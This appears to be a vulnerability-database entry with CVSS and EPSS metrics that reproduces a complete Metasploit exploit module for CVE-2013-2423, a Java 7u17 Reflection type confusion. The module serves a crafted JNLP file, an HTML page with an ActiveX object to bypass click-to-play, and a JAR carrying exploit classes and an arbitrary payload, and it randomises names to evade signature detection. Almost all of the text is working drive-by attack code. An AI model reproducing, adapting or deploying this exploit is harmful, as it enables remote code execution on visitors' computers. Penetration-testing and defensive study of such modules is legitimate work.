CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
EPSS
Percentile
99.8%
This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java Web Start can be launched automatically throw the ActiveX control. Otherwise the applet is launched without click-to-play bypass.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Reflection Type Confusion Remote Code Execution',
'Description' => %q{
This module abuses Java Reflection to generate a Type Confusion, due to a weak
access control when setting final fields on static classes, and run code outside of
the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This
exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is
applied mainly to IE, when Java Web Start can be launched automatically throw the
ActiveX control. Otherwise the applet is launched without click-to-play bypass.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeroen Frijters', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2423' ],
[ 'OSVDB', '92348' ],
[ 'BID', '59162' ],
[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ],
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/b453d9be6b3f' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ]
],
'Platform' => %w{ java linux osx win },
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2013-01-10'
))
end
def setup
path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Union1.class")
@union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Union2.class")
@union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "SystemClass.class")
@system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
@jnlp_name = rand_text_alpha(8)
super
end
def jnlp_file
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
jnlp = %Q|
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">
<information>
<title>Applet Test JNLP</title>
<vendor>#{rand_text_alpha(8)}</vendor>
<description>#{rand_text_alpha(8)}</description>
<offline-allowed/>
</information>
<resources>
<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />
<jar href="#{rand_text_alpha(8)}.jar" main="true" />
</resources>
<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">
<param name="__applet_ssv_validated" value="true"></param>
</applet-desc>
<update check="background"/>
</jnlp>
|
return jnlp
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jnlp$/i
send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("Union1.class", @union1_class)
jar.add_file("Union2.class", @union2_class)
jar.add_file("SystemClass.class", @system_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
html = %Q|
<html>
<body>
<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>
<param name="app" value="#{jnlp_uri}">
<param name="back" value="true">
<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
</object>
</body>
</html>
|
return html
end
end